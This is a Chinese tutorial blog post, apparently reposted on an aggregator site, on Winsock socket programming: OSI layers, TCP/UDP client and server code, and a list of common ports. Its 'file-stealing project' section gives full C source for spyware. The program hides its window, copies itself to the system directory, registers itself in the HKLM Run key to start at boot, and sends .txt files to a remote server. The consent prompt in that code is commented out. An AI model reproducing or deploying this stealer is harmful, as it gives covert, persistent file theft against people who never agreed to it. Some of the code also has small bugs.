socket的基本使用,基于TCP/UDP

这篇具有很好参考价值的文章主要介绍了socket的基本使用,基于TCP/UDP。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

OSI参考模型

Open System Interconnect 开放式系统

socket的基本使用,基于TCP/UDP,tcp/ip,udp,websocket

  • 每层网络的由来

物理层:010101比特流,设备之间原始数据的传输,数模转换(发送端)和模数转换(接收端)

-》传输过程可能出现错码和误码?

数据链路层:将原始比特流转换成逻辑传输符号,提供纠错编码,格式变为帧

-》出现多个网络节点,应该选择哪个节点?

网络层:通过路由选择,选择最佳路径,数据格式是IP数据包

-》某次连接传输的数据可能很大,会出现错传、漏传

传输层:将数据拆分成段,提供维护连接的机制(流量控制、拥塞控制)

-》对用户来说每次都要使用传输层拆分,再使用网络层寻路很麻烦

会话层:提供建立连接和维护连接的机制,方便用户使用

-》不同操作系统之间的网络传输如何互通?linux/windows

表示层:提供编码转换、加解密、解压缩

-》接收方不知道发送发发送的是什么东西、数据有多长?

应用层:规定发送方和接收方必须使用固定长度的消息头,并且消息头固定格式,并标明长度等信息。

网络架构

B/S(Browser/Server)

browser(client) - web server - sql(Structured Query Language server database)

通过web服务器中转操作

在全球网络化时运应而生,是三层C/S架构 客户端 - 应用服务器 - 数据库

C/S (Client/Server)

两层架构 客户端 - 数据库

点对点的模式,适用于局域网

  • Client:

  • Server:

ip/port

  • IP(internatinal)

  • port (IP的细分): 2 16 ( 65536 ) 2^{16}(65536) 216(65536)

0-1023被用作知名服务器端口 FTP(file) 21/HTTP/SMTP(Simple Mail )

相当于机器(ip)跟按钮(port) 而某些必要按钮(开关,挡位)被定在公认端口

TCP/UDP

TCP(Transmission Control Protocol) : 按顺序分批传输,会因为部分数据在等待而浪费时间,在每次传输后都需要验证是否正确,再确定是重发或者下一个,不存在数据边界(数组越界那种,因为传输的数据量大小由客户端决定,量达标了就停止传输

UDP(UserDatagramProtocol) : 传输大小由服务端决定,所以存在数据边界,因为不按顺序,就不会有很多数据进入无效等待,见缝插针,传送数据就会更快,但因为网络原因,传输的数据可能丢失,最后会进行一次校验

TCP相当于打电话,稳定,聊天,文件传输

UDP相当于发邮件,但是更快,音视频

socket

原理

socket详解

套接字,是一个网络连接设备

起源于Unix/Linux的基本哲学一切皆文件,都可以打开open –> 读写write/read –> 关闭close模式来操作。

socket就是一种特殊的文件,通过socket函数进行读/写IO、打开、关闭

为了解决网络进程间交互的一个工具

  • 本地进程间的通信

标记进程 : pid - 物质

  • 网络通信

标记进程: 网络层 ip标识主机 传输层 protocol和port来标记主机中的进程(应用程序)

使用步骤

  1. socket(bind)/closesocket 创建/关闭

  2. connect/listen/accept 连接

  3. send/recv,sendto/recvfrom传输(read/write)

  • listen详解

listen(sockSrv, 5) listen有一个connect消息的队列,而5就是最大监听数目

当同时的请求大于5时,后面的因为无法进入队列,从而失败(只有当队列中有空位时,后续的才有效)

可以通过在server中的listen后添加sleep(10000)来进行测试

  • 数据结构

用来标识地址

struct sockaddr {//操作系统使用
    u_short    sa_family;  	        //16位地址类型 2字节
    char       sa_data[14];            //14字节地址数据:ip + port
};   
 
struct sockaddr_in {//我们使用的
    short   sin_family;			//16位地址类型
    u_short sin_port;			//16位端口号 65535  2的16次方
    struct  in_addr sin_addr;   //32位IP地址  4字节
    char    sin_zero[8];		//8字节填充为0
};

address family(AF) 家族类 来确定地址类型 : ipv4或者ipv6或(vpnv4?)

s : specify指定 in : indicate表明 6 : ipv6 (v:version) addr : address sa : sockaddr

原理代码

基本步骤

//Todo : socket bind listen accept read write close
//初始化
WSADATA data;
WSAStartup(MAKEWORD(1, 1), &data);
SOCKET serv_sock =  socket(PF_INET, SOCK_STREAM, 0);
//绑定地址
sockaddr_in serv_adr{}, client_adr{};
serv_adr.sin_family = AF_INET;
serv_adr.sin_addr.s_addr = INADDR_ANY;
serv_adr.sin_port = htons(9527);
bind(serv_sock, (sockaddr*)&serv_adr, sizeof(serv_adr));
//收发
listen(serv_sock, 1);
char buffer[1024];
int cli_sz = sizeof(client_adr);
SOCKET client = accept(serv_sock, (sockaddr*)&client_adr, &cli_sz);
recv(client, buffer, sizeof(buffer), 0);
send(client, buffer, sizeof(buffer), 0);
// 关闭
closesocket(serv_sock);
WSACleanup();

初始化

都需要先初始化socket库,然后进行绑定,服务端和客户端有所不同

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <winsock2.h>
#include <stdio.h>
#pragma  comment (lib,"ws2_32.lib")//添加网络库 ws2是WinSock2的缩写
//如果不引入就会导致链接错误,因为头文件只是声明,还需要库文件中的定义才能发挥作用


int main()
{
	//0.初始化网络库和socket库
	WSADATA wsaData;
	WSAStartup(MAKEWORD(2, 2), &wsaData);
	//1.创建socket并检查,初始化
	SOCKET sockCli = socket(AF_INET, SOCK_DGRAM, 0);
    
    ....................................
        //主要代码块
    ....................................
        
    closesocket(sockCli);
	WSACleanup();
	system("pause");
	return 0;
}

地址绑定

服务端

SOCKADDR_IN addrSrv;
addrSrv.sin_family = AF_INET;
addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);//host to net long
addrSrv.sin_port = htons(6000);//s : short

if(SOCKET_ERROR == bind(sockSrv, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))
{
    printf("bind error =%d\n", GetLastError());
    return -1;
}

客户端

SOCKADDR_IN addrSrv;
addrSrv.sin_family = AF_INET;
addrSrv.sin_addr.S_un.S_addr = inet_addr("192.168.6.1");//配置要连接的服务器
addrSrv.sin_port = htons(6000);

错误处理

大概这总格式

std::string GetErrorInfo(int wsaErrCode)
{
	std::string ret;
	LPVOID lpMsgBuf = NULL;
	FormatMessage(
		FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_ALLOCATE_BUFFER,//从系统拿到消息,自动分配缓冲区
		NULL,
		wsaErrCode,
		MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),//适配系统语言
		(LPTSTR)&lpMsgBuf, 0, NULL);
	ret = (char*)lpMsgBuf;
	LocalFree(lpMsgBuf);
	return ret;
}

TRACE("连接失败:%d %s\n", WSAGetLastError(), GetErrorInfo(WSAGetLastError()).c_str());

效果

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <winsock2.h>
#include <stdio.h>
#pragma  comment (lib,"ws2_32.lib")//添加网络库 ws2是WinSock2的缩写
//如果不引入就会导致链接错误,因为头文件只是声明,还需要库文件中的定义才能发挥作用


int main()
{
	//0.初始化网络库和socket库
#if 1
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;
	wVersionRequested = MAKEWORD(2, 2);
	err = WSAStartup(wVersionRequested, &wsaData);//windows api start up
	if (err != 0)
	{
		printf("WSAStartup errorNum = %d\n", GetLastError());
		return err;
	}
	if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
	{
		printf("LOBYTE errorNum = %d\n", GetLastError());
		WSACleanup();//工具->错误查找->输入错误代码
		system("pause");
		return -1;
	}
#endif
	//1.创建socket并检查,初始化
	SOCKET sockCli = socket(AF_INET, SOCK_DGRAM, 0);//0表示不需要调用方使用
	if (INVALID_SOCKET == sockCli)
	{
		printf("socket errorNo = %d\n", GetLastError());
		return -1;
	}
    
    ....................................
        //主要代码块
    ....................................
        
    closesocket(sockCli);
	WSACleanup();
	system("pause");
	return 0;
}

实现TCP/UDP

TCP

服务端

主机监听,接受连接,分配资源(再建立一个socket来连接分机)

	//监听
	listen(sockSrv, 3)

	//建立分机处理
	SOCKADDR_IN addrCli;
	int len = sizeof(SOCKADDR);
	while (TRUE)
	{
		printf("begin accept\n");
		SOCKET sockConn = accept(sockSrv, (SOCKADDR*)&addrCli,&len);
        //参数2是一个指向接受实体(entity)地址的缓冲区(buffer)指针,称为通信层(communications layer)
		//printf("end accept\n");
		//2.2连接完成,收发数据
		char sendBuf[100] = { 0 };
		sprintf_s(sendBuf, 100, "welcome %s to China!",inet_ntoa(addrCli.sin_addr));//a是字符串
		int iLen = send(sockConn, sendBuf, strlen(sendBuf), 0);
		char recvBuf[100] = { 0 };
		iLen = recv(sockConn, recvBuf, 100, 0);
		printf("recBuf = %s\n", recvBuf);

		closesocket(sockConn);
	}

客户端

	//连接服务器
	connect(sockCli, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR))

	//收发数据
	char recvBuf[100] = { 0 };
	int iLen = recv(sockCli, recvBuf, 100, 0);
	printf("recvBuf= %s\n", recvBuf);
	char sendBuf[100]="hello";
	iLen = send(sockCli,(char*) sendBuf, 100, 0);

UDP

服务端

	SOCKADDR_IN addCli;
	int len = sizeof(SOCKADDR_IN);
	char recvBuf[100];
	char sendBuf[100]="hello UDP client";

	while (1)
	{
		recvfrom(sockSrv, recvBuf, 100, 0, ( SOCKADDR*)&addrSrv, &len);
		cout << recvBuf << endl;
		sprintf_s(sendBuf, 100, "%s", recvBuf);
		sendto(sockSrv, sendBuf, strlen(sendBuf)+1, 0, (SOCKADDR*)&addrCli, len);
	}

客户端

    int len = sizeof(SOCKADDR);
    char sendBuf[100] = "hello UDP server";
    char recvBuf[100] = { };

    sendto(sockCli, sendBuf, strlen(sendBuf) + 1, 0, (SOCKADDR*)(&addrSrv), len);
    recvfrom(sockCli, recvBuf, 100, 0, (SOCKADDR*)(&addrSrv), &len);

    printf("%s\n", recvBuf);

窃取文件(项目)

设计

服务端 : 接受数据就行

客户端 : 读取文件 发送数据 添加到注册表到开机自启 隐藏当前窗口

实现

服务端

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")//添加网络库 ws2是WinSock2的缩写 
#define MAX_SIZE 1024

void ErrorHanding(const char* msg)//检查错误的函数
{
	fputs(msg, stderr);
	fputc('\n', stderr);
	exit(1);
}
int main()
{

	printf("Steal server\n");
    
	//0.初始化网络库,选择使用库的版本
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;
	wVersionRequested = MAKEWORD(2, 2);
	err = WSAStartup(wVersionRequested, &wsaData);
    //windows api start up  用wVersionRequested的信息来进行初始化,并将结果存放的wsaData中,用于检查
	if (err != 0)
	{
		printf("WSAStartup errorNum = %d\n", GetLastError());
		return err;//GetLastError()得到错误代码后,工具->错误查找->输入错误代码
	}
	if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
	{
		printf("LOBYTE errorNum = %d\n", GetLastError());
		WSACleanup();
		return -1;
	}
    
	//1.构建连接
    //函数不会使用?鼠标选中函数后,按F1
    //1.1创建socket
	SOCKET sockSrv = socket(AF_INET, SOCK_STREAM, 0);//INET internet   Srv : server
	if (INVALID_SOCKET == sockSrv)	ErrorHanding("socket error");

	//1.2初始化地址
	SOCKADDR_IN addrSrv;
    addrSrv.sin_family = AF_INET;//AF_INET6 internetwork: UDP, TCP, etc.   AF:address family
	addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
    //host to net long ipv4地址占四个字节,即long
    //INADDR_ANY表示不定地址,任意地址,即表示监听所有信息,即socket服务器只需要绑定端口
	addrSrv.sin_port = htons(6000);//s : short 端口占两个字节
    //1.3socket与地址进行绑定
	if (SOCKET_ERROR == bind(sockSrv, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))ErrorHanding("bind error");

	//连接
	//2.1主机监听连接,分配资源
	if (SOCKET_ERROR == listen(sockSrv, 5))ErrorHanding("listen");
    
	//2.2子机创建socket,并创建msg来读取数据
    SOCKET sockCli;
	SOCKADDR_IN addrCli;
	int len = sizeof(SOCKADDR_IN);//accept需要指针
	char msg[MAX_SIZE]={0};
	int strlen = 0;
	while(1)
	{
         memset(msg, 0, MAX_SIZE);//将msg的前MAX_SIZE个数据都设成0
		sockCli = accept(sockSrv, (SOCKADDR*)&addrCli, &len);//接受数据,并检查
		if (SOCKET_ERROR == sockCli)ErrorHanding("accept error");
		while (strlen = recv(sockCli, msg, MAX_SIZE, 0) != 0) puts(msg);//打印接收到的数据
		closesocket(sockCli);//关闭分机
	}
	closesocket(sockSrv);
	WSACleanup();
	system("pause");//选中函数alt+G查看包含它的头文件
}

客户端

#include <windows.h>//包含winsock2.h,不要再导入,否则重定义
#include <stdio.h>
#include <io.h>//用于注册表相关的
#pragma  comment (lib,"ws2_32.lib")

int SendtoServer(const char* path);//发送数据到服务端
int DoSteal(const char* szPath);//窃取数据
void AddToSystem();//添加到注册表,需要管理员权限
void HideMyself();//隐藏当前窗口

int main()
{
	printf("Steal\n");
	HideMyself();
	AddToSystem();
	DoSteal("D:\\code\\stealtest\\");//注意要末尾的'\\'
	int a = 0;
	scanf("%d", a);
}

int SendtoServer(const char* path)
{//1.连接服务器 2.读取文件到sendbuf并发送到服务器 3.关机
	printf("steal Client\n");

#if 1
	WORD wVersionRequested;
	WSADATA wsaData;
	int err;
	wVersionRequested = MAKEWORD(2, 2);
	err = WSAStartup(wVersionRequested, &wsaData);
	if (err != 0)
	{
		printf("WSAStartup errorNum = %d\n", GetLastError());
		return err;
	}
	if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2)
	{
		printf("LOBYTE errorNum = %d\n", GetLastError());
		WSACleanup();
		return -1;
	}
#endif

	SOCKET sockCli = socket(AF_INET, SOCK_STREAM, 0);
	if (INVALID_SOCKET == sockCli)
	{
		printf("socket error=%d\n", GetLastError());
		return -1;
	}

	SOCKADDR_IN addrSrv;
	addrSrv.sin_family = AF_INET;
	addrSrv.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");//本地地址,也可cmd ipconfig查询
	addrSrv.sin_port = htons(6000);
	//以上与server基本一致


	//连接服务器
	if (SOCKET_ERROR == connect(sockCli, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)))
	{
		printf("connect error =%d\n", GetLastError());
		return -1;
	}

	//读取文件内容,存放到sendbuf中
	char sendBuf[1024]{ 0 };//初始化为0是为了防止保证'\0',以免出现烫烫烫
	FILE* fp;
	fp = fopen(path, "rb");
	int len = fread(sendBuf, 1, 1024, fp);//(存放位置,每个单位的字节大小,总长度,FILE*)
	fclose(fp);
	//发送sendbuf,注意结尾的0
	int iLen = send(sockCli, sendBuf, strlen(sendBuf) + 1, 0);//多一个字节放'\0'
	if (iLen < 0)//检查
	{
		printf("send errorNum = %d\n", GetLastError());
		system("pause");
		return -1;
	}

	closesocket(sockCli);
	WSACleanup();
}

int DoSteal(const char* szPath)//search zero path 传入的文件路径
{//遍历完所有文件,将*.txt交给sender处理,遍历分两步1.找到第一个2.后面的所有
    
	WIN32_FIND_DATA FindFileData;//这个结构体包含了很多文件的信息alt+G查看
	HANDLE hListFile;//文件用句柄标识

    //szFilePath用来寻找第一个文件,并将句柄存放到FindFileData
	char szFilePath[MAX_PATH] = { 0 };//涉及路径的字符数组长度,无脑 MAX_PATH 260
	strcpy(szFilePath, szPath);//c/c++老函数1,禁用特定警告4996
	strcat(szFilePath, "\\*");
	hListFile = FindFirstFile(szFilePath, &FindFileData);
	
    do
	{	//利用FindFileData 与 FindNextFile 遍历完目录下所有文件,每次都用mypath来存放
         char mypath[MAX_PATH] = { 0 };
		strcpy(mypath, szPath);
		strcat(mypath, FindFileData.cFileName);
		printf("%s\n", mypath);//  \.表示当前目录 \..表示父目录
		if (strstr(mypath, ".txt"))//未找到返回NULL
		{
			SendtoServer(mypath);
		}
	} while (FindNextFile(hListFile, &FindFileData));
	return 0;
}

void AddToSystem()
{//每次使用只需要改变125行的那个
	HKEY  hKEY;
	char  CurrentPath[MAX_PATH];
	char  SysPath[MAX_PATH];
	long  ret = 0;
	LPSTR FileNewName;
	LPSTR FileCurrentName;
	DWORD type = REG_SZ;
	DWORD size = MAX_PATH;
	LPCTSTR Rgspath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; //regedit : register edit  win + R

	GetSystemDirectory(SysPath, size);
	GetModuleFileName(NULL, CurrentPath, size);
	FileCurrentName = CurrentPath;
	FileNewName = lstrcat(SysPath, "\\mysteal.exe");//每次使用时,只需要改变这个

	struct _finddata_t Steal;
	printf("ret1 = %d,FileNewName = %s\n", ret, FileNewName);
	if (_findfirst(FileNewName, &Steal) != -1)
		return;//已经安装!
	printf("ret2 = %d\n", ret);
	
	//int ihow = MessageBox(0, "该程序只允许用于合法的用途!\n继续运行该程序将使这台机器处于被监控的状态!\n如果您不想这样,请按“取消”按钮退出。\n按下“是”按钮该程序将被复制到您的机器上,并随系统启动自动运行。\n按下“否”按钮,程序只运行一次,不会在您的系统内留下任何东西。", "警告", MB_YESNOCANCEL | MB_ICONWARNING | MB_TOPMOST);
	//if (ihow == IDCANCEL)
	//	exit(0);
	//if (ihow == IDNO)
	//	return;//只运行一次
	//复制文件
	ret = CopyFile(FileCurrentName, FileNewName, TRUE);
	if (!ret)
	{
		return;
	}
	//加入注册表
	printf("ret = %d\n", ret);
	ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, Rgspath, 0, KEY_WRITE, &hKEY);
	if (ret != ERROR_SUCCESS)
	{
		RegCloseKey(hKEY);
		return;
	}
	//Set Key
	ret = RegSetValueEx(hKEY, "Steal", NULL, type, (const unsigned char*)FileNewName, size);
	if (ret != ERROR_SUCCESS)
	{
		RegCloseKey(hKEY);
		return;
	}
	RegCloseKey(hKEY);

}

void HideMyself()
{
	// 拿到当前的窗口句柄
	HWND hwnd = GetForegroundWindow();
	ShowWindow(hwnd, SW_HIDE);
}

hosts

域名需要翻译称ip第地址,而翻译有两步,先查找本机的hosts文件,再通过DNS来寻找ip

修改hosts文件

  1. everything搜索hosts 管理员权限打开
  2. 两个格式
    1. 行首为#的为注释
    2. 修改格式ip+空格+域名 如0.0.0.0 www.bilibili.com 域名要加上www. 不需要https协议

常见端口

网络常用端口与协议

HTTP: 80 www服务。

DHCP:服务器端的端口号是67

DHCP:客户机端的端口号是68

POP3:POP3仅仅是接收协议,POP3客户端使用SMTP向服务器发送邮件。POP3所用的端口号是110。

SMTP: 端口号是25。SMTP真正关心的不是邮件如何被传送,而只关心邮件是否能顺利到达目的地。SMTP具有健壮的邮件处理特性,这种特性允许邮件依据一定标 准自动路由,SMTP具有当邮件地址不存在时立即通知用户的能力,并且具有在一定时间内将不可传输的邮件返回发送方的特点。

Telnet:端口号是23。Telnet是一种最老的Internet应用,起源于ARPNET。它的名字是“电信网络协议(Telecommunication Network Protocol)”的缩写。

FTP:FTP使用的端口有20和21。20端口用于数据传输,21端口用于控制信令的传输,控制信息和数据能够同时传输,这是FTP的特殊这处。FTP采用的是TCP连接。

TFTP:端口号69,使用的是UDP的连接。

DNS:53,名称服务

NetBIOS: 137,138,139,其中137、138是UDP端口,当通过网上邻居传输文件时用这个端口。而139端口:通过这个端口进入的连接试图获得 NetBIOS/SMB服务。这个协议被用于windows文件和打印机共享和SAMBA。还有WINS Regisrtation也用它。

NNTP 网络新闻传输协议:119

SNMP(Simple Network Management Protocol)(简单网络管理协议):161端口

RPC(Remote Procedure Call)(远程过程调用)服务:135端口

QQ:使用8000(服务端)和4000端口(客户端)

21 端口:21 端口主要用于FTP(File Transfer Protocol,文件传输协议)服务。

23 端口:23 端口主要用于Telnet(远程登录)服务,是Internet上普遍采用的登录和仿真程序,最初设计被用来方便管理员远程管理计算机,可现在真正将其发挥到极致的是"黑客"!

25 端口:25 端口为SMTP(Simple Mail Transfer Protocol,简单邮件传输协议)服务器所开放,主要用于发送邮件,如今绝大多数邮件服务器都使用该协议。

53 端口:53 端口为DNS(Domain Name Server,域名服务器)服务器所开放,主要用于域名解析,DNS 服务在NT 系统中使用的最为广泛。

67、68 端口:67、68 端口分别是为Bootp 服务的Bootstrap Protocol Server(引导程序协议服务端)和Bootstrap Protocol Client(引导程序协议客户端)开放的端口。

69 端口:TFTP 是Cisco 公司开发的一个简单文件传输协议,类似于FTP。

79 端口:79 端口是为Finger 服务开放的,主要用于查询远程主机在线用户、操作系统类型以及是否缓冲区溢出等用户的详细信息。

80 端口:80 端口是为HTTP(HyperText Transport Protocol,超文本传输协议)开放的,这是上网冲浪使用最多的协议,主要用于在WWW(World Wide Web,万维网)服务上传输信息的协议。

99 端口:99 端口是用于一个名为“Metagram Relay”(亚对策延时)的服务,该服务比较少见,一般是用不到的。

109、110 端口:109 端口是为POP2(Post Office Protocol Version2,邮局协议2)服务开放的,110 端口是为POP3(邮件协议3)服务开放的,POP2、POP3 都是主要用于接收邮件的。

111 端口:111 端口是SUN 公司的RPC(Remote Procedure Call,远程过程调用)服务所开放的端口,主要用于分布式系统中不同计算机的内部进程通信,RPC 在多种网络服务中都是很重要的组件。

113 端口:113 端口主要用于Windows 的“Authentication Service”(验证服务)。

119 端口:119 端口是为“Network News Transfer Protocol”(网络新闻组传输协议,简称NNTP)开放的。

135 端口:135 端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务。

137 端口:137 端口主要用于“NetBIOS Name Service”(NetBIOS名称服务)。

139 端口:139 端口是为“NetBIOS Session Service”提供的,主要用于提供Windows 文件和打印机共享以及Unix 中的Samba 服务。

143 端口:143 端口主要是用于“Internet Message Access Protocol”v2(Internet 消息访问协议,简称IMAP)。

161 端口:161 端口是用于“Simple Network Management Protocol”(简单网络管理协议,简称SNMP)。

443 端口:443 端口即网页浏览端口,主要是用于HTTPS 服务,是提供加密和通过安全端口传输的另一种HTTP。

554 端口:554 端口默认情况下用于“Real Time Streaming Protocol”(实时流协议,简称RTSP)。

1024 端口:1024 端口一般不固定分配给某个服务,在英文中的解释是“Reserved”(保留)。

1080 端口:1080 端口是Socks 代理服务使用的端口,大家平时上网使用的WWW 服务使用的是HTTP 协议的代理服务。

1755 端口:1755 端口默认情况下用于“Microsoft Media Server”(微软媒体服务器,简称MMS)。

3389端口:远程桌面 (嘿嘿!3389入侵就是用的这个口)文章来源地址https://www.toymoban.com/news/detail-769181.html

到了这里,关于socket的基本使用,基于TCP/UDP的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • TCP、UDP、IP以及ensp基本配置

    目录 一、TCP报文段 二、UDP报文段 三、IP报文段 四、ensp基本配置​          源端口号: 表示发数据那个进程的端口号。          目的端口号: 表示收数据那个进程的端口号。          校验和: 验证数据的传输是否是正确的。          选项 :扩展Tcp功能时

    2024年02月02日
    浏览(49)
  • 使用 python socket 实现UDP/TCP网络通信

    目录 目录 1.socket简介 2.创建socket 2.1创建UDPSocket 2.2创建TCPSocket 3.使用UDPSocket发送数据并接收 4.使用UDPSocket发送广播 5.UDPSocket聊天器 (多线程实现消息的收发功能) 6.使用TCPSocket建立客户端 7.使用TCPSocket建立服务端        socket(简称:套接字),是支持TCP和UDP(网络传输方式

    2023年04月10日
    浏览(62)
  • Python使用 Twisted 实现 TCP/UDP Socket 编程

    更多文章: 技数未来 环境准备: - 安装Python:确保你已经安装了Python解释器。 - 安装Twisted:可以通过pip命令来安装Twisted库,运行`pip install twisted`即可。 依赖的类库: - twisted.internet.protocol:包含了实现TCP/UDP Socket编程所需的协议类。 - twisted.internet.reactor:用于处理事件循环

    2024年02月16日
    浏览(46)
  • socket概述 python中如何使用TCP/UDP协议实现通信-教程

    很多编程语言中,都 使用scoket套接字实现网络通信。 Socket是对TCP/IP协议的封装,Socket本身就是一个调用接口(API),方便程序员用Socket使用TCP/IP协议簇,实现网络通信。 不同编程语言,shiyongSocket通信的语法有所区别,但基本原理类型相似。 它的两种方式,分别是TCP和UDP协

    2024年02月13日
    浏览(41)
  • 【网络编程】网络编程概念,socket套接字,基于UDP和TCP的网络编程

    前言: 大家好,我是 良辰丫 ,今天我们一起来学习网络编程,网络编程的基本概念,认识套接字,UDP与TCP编程.💞💞💞 🧑个人主页:良辰针不戳 📖所属专栏:javaEE初阶 🍎励志语句:生活也许会让我们遍体鳞伤,但最终这些伤口会成为我们一辈子的财富。 💦期待大家三连,关注

    2023年04月20日
    浏览(58)
  • 一文彻底搞懂TCP/IP、UDP、FTP、HTTP、HTTPS的基本原理

    基本原理:TCP/IP是一组用于实现网络通信的协议族,它是互联网的基础协议。TCP/IP协议族由两个主要协议组成:TCP(Transmission Control Protocol,传输控制协议)和IP(Internet Protocol,网际协议)。 TCP(Transmission Control Protocol):TCP是一种面向连接的、可靠的、基于字节流的传输层

    2024年03月08日
    浏览(36)
  • Java中的网络编程------基于Socket的TCP编程和基于UDP的网络编程,netstat指令

    Socket 在Java中,Socket是一种用于网络通信的编程接口, 它允许不同计算机之间的程序进行数据交换和通信 。Socket使得网络应用程序能够通过TCP或UDP协议在不同主机之间建立连接、发送数据和接收数据。以下是Socket的基本介绍: Socket类型 :在Java中,有两种主要类型的Socket,分

    2024年02月10日
    浏览(38)
  • C++开发基础之网络编程WinSock库使用详解TCP/UDP Socket开发

    Winsock是Windows操作系统提供的用于网络编程的API库。它是Windows Sockets的简称,也就是套接字库。Winsock可以让开发人员使用TCP/IP协议族中的各种协议,如TCP、UDP等,在Windows平台下进行网络编程。 Winsock提供了一组函数和数据结构,这些函数和数据结构可以让开发人员创建和管理

    2024年01月23日
    浏览(50)
  • TCP/UDP/Socket 通俗讲解

    1.封包和拆包 封包,就是发送数据前把自己本地需要发送的数据包装一下,即把要发送的原始数据附加上接受者可以辨识到自己身份等一些额外信息。有点像寄一封信,信封上填写的寄件人和收件人以及地址。 拆包,是接收到对方封包后发送来的数据后,拆出原始信息和对方

    2023年04月18日
    浏览(37)
  • Java——TCP UDP Socket编程

    目录 一、网络的相关概念 (一)网络通信 (二)网络 (三)ip地址 (四)ipv4地址分类 (五)域名 (六)网络通信协议 (七)TCP和UDP 二、InetAddress类 三、Socket 四、TCP网络编程 (一)案例一——使用字节流 (二)案例二——使用字节流  (三)案例三——使用字符流 (四

    2024年02月06日
    浏览(42)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包